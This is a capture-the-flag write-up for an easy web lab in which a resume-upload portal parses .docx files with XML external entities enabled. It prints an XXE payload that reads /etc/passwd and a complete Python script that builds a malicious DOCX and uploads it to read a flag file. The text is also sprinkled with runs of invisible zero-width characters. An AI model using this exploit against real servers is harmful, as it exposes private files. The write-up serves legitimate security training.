← Back to Writeups
CUSTOMEasyWeb

Lab 142 — TalentFlow — XXE via Resume Upload

XESXOR9/10/20265 min read
#web#custom#easy#docx_xxe#external_entity_injection#in_band_exfiltration#malicious_docx_upload#xxe_file_read#linux

Lab 142 — TalentFlow — XXE via Resume Upload

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-21 | Status: Solved Techniques: docx_xxe, external_entity_injection, in_band_exfiltration, malicious_docx_upload, xxe_file_read

Summary

Task: Applicant tracking system accepts .docx resume uploads and parses XML content with external entity resolution enabled. Solution: Craft malicious DOCX with XXE payload in word/document.xml referencing file:///root/flag.txt; server resolves entity and displays file contents in confirmation page resume preview.

Lab 142 — TalentFlow — XXE via Resume Upload — HackAdvisor

Description

TalentFlow is a modern applicant tracking system built by FlowHR Technologies. HR teams use it to manage job postings, review candidate applications, and track their hiring pipeline from sourcing through onboarding. The platform features a public-facing careers portal where job seekers can browse open positions. Applicants can submit their resumes in .docx format directly through the careers page. The system automatically parses uploaded resumes to extract text content for recruiter review. Your goal is to find and exploit a vulnerability in the application that allows you to read sensitive files from the server. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A careers portal accepts .docx resume uploads and automatically parses them to extract text. The XML parser inside the DOCX processing pipeline has external entity resolution enabled, allowing XXE injection to read arbitrary files from the server. No authentication is required.

Analysis

Application Structure

The application is a careers portal with the following key endpoints:

EndpointPurpose
/Homepage with job listings and feature descriptions
/careers/apply/{id}Resume upload form (accepts .docx and .odt)
/careers/confirmationDisplays parsed resume text after upload
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Reconnaissance

  1. Homepage at / showed a careers portal with job listings across Engineering, Marketing, Sales, Design, and People Ops departments
  2. Feature description explicitly mentioned "Resume Parsing" — the system extracts text from uploaded documents
  3. Apply page at /careers/apply/10 had a multipart form accepting .docx and .odt file uploads
  4. Form disclaimer stated: "Your resume will be parsed to extract text content for our review process"
  5. Decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} was present in HTML comments — a honeypot trap, correctly ignored ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability

DOCX files are ZIP archives containing XML files. The primary content lives in word/document.xml. When the server receives a DOCX upload, it:

  1. Extracts the ZIP archive
  2. Parses word/document.xml using an XML parser
  3. Extracts text content from <w:t> elements
  4. Displays the extracted text on the confirmation page

The XML parser has external entity resolution enabled, meaning a <!DOCTYPE> declaration with <!ENTITY> definitions referencing file:// URIs will be resolved. The entity value (file contents) is substituted into the document text, which is then displayed to the user — a classic in-band XXE vulnerability. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Attack Chain

Attacker crafts DOCX → word/document.xml contains XXE DOCTYPE
    → Upload to /careers/apply/10
    → Server unzips DOCX, parses XML
    → XML parser resolves file:///root/flag.txt entity
    → Entity value (flag) placed in <w:t> text
    → Confirmation page displays flag in resume-text-box div

Solution

Step 1: Confirm XXE with /etc/passwd

First, created a minimal valid DOCX (ZIP archive) with an XXE payload in word/document.xml targeting /etc/passwd:

xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE document [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
  <w:body>
    <w:p>
      <w:r>
        <w:t>&xxe;</w:t>
      </w:r>
    </w:p>
  </w:body>
</w:document>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The confirmation page displayed the full /etc/passwd contents in the resume preview section, confirming the XXE vulnerability. The output revealed an Alpine Linux container (/bin/ash shell).

Step 2: Extract the Flag

Created a second DOCX with the entity pointing to file:///root/flag.txt. The confirmation page displayed the flag in the resume-text-box div.

Full Solve Script

python
#!/usr/bin/env python3
"""
TalentFlow XXE via Malicious DOCX Resume Upload — Solve Script
Exploits XXE in XML parser processing DOCX word/document.xml
"""
import zipfile
import requests
import re
import sys
import io
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "https://TARGET.labs.hackadvisor.io"


def create_xxe_docx(file_to_read):
    """Create DOCX with XXE payload in word/document.xml"""
    
    content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
  <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
  <Default Extension="xml" ContentType="application/xml"/>
  <Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/>
</Types>'''
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/>
</Relationships>'''

    word_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
</Relationships>'''

    document = f'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE document [
  <!ENTITY xxe SYSTEM "file://{file_to_read}">
]>
<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas"
  xmlns:mo="http://schemas.microsoft.com/office/mac/office/2008/main"
  xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
  xmlns:mv="urn:schemas-microsoft-com:mac:vml"
  xmlns:o="urn:schemas-microsoft-com:office:office"
  xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math"
  xmlns:v="urn:schemas-microsoft-com:vml"
  xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing"
  xmlns:w10="urn:schemas-microsoft-com:office:word"
  xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml">
  <w:body>
    <w:p>
      <w:r>
        <w:t>&xxe;</w:t>
      </w:r>
    </w:p>
  </w:body>
</w:document>'''
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('[Content_Types].xml', content_types)
        zf.writestr('_rels/.rels', rels)
        zf.writestr('word/_rels/document.xml.rels', word_rels)
        zf.writestr('word/document.xml', document)
    buf.seek(0)
    return buf


s = requests.Session()

# Upload XXE DOCX to read /root/flag.txt
print("[*] Uploading malicious DOCX with XXE for /root/flag.txt...")
docx_buf = create_xxe_docx("/root/flag.txt")
resp = s.post(
    f"{BASE_URL}/careers/apply/10",
    files={"resume": ("resume.docx", docx_buf, "application/vnd.openxmlformats-officedocument.wordprocessingml.document")},
    data={
        "name": "Test User",
        "email": "test@example.com",
        "phone": "555-0100",
        "cover_letter": "Test application"
    },
    allow_redirects=True
)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

print(f"[*] Status: {resp.status_code}")

flag_match = re.search(r'FLAG\{[a-f0-9]+\}', resp.text)
if flag_match:
    print(f"\n[+] FLAG FOUND: {flag_match.group(0)}")
else:
    print("[-] No flag found in response")

DOCX Structure

A minimal valid DOCX for XXE requires only four files in the ZIP archive:

resume.docx (ZIP)
├── [Content_Types].xml     — declares XML content types
├── _rels/.rels             — root relationships (points to word/document.xml)
├── word/_rels/document.xml.rels — document relationships (can be empty)
└── word/document.xml       — MAIN PAYLOAD: DOCTYPE with external entity

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The key insight is that word/document.xml is parsed as XML, and if the parser resolves external entities, any <!ENTITY ... SYSTEM "file://..."> declaration will read the target file. The entity reference &xxe; inside <w:t> causes the file contents to appear as document text. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍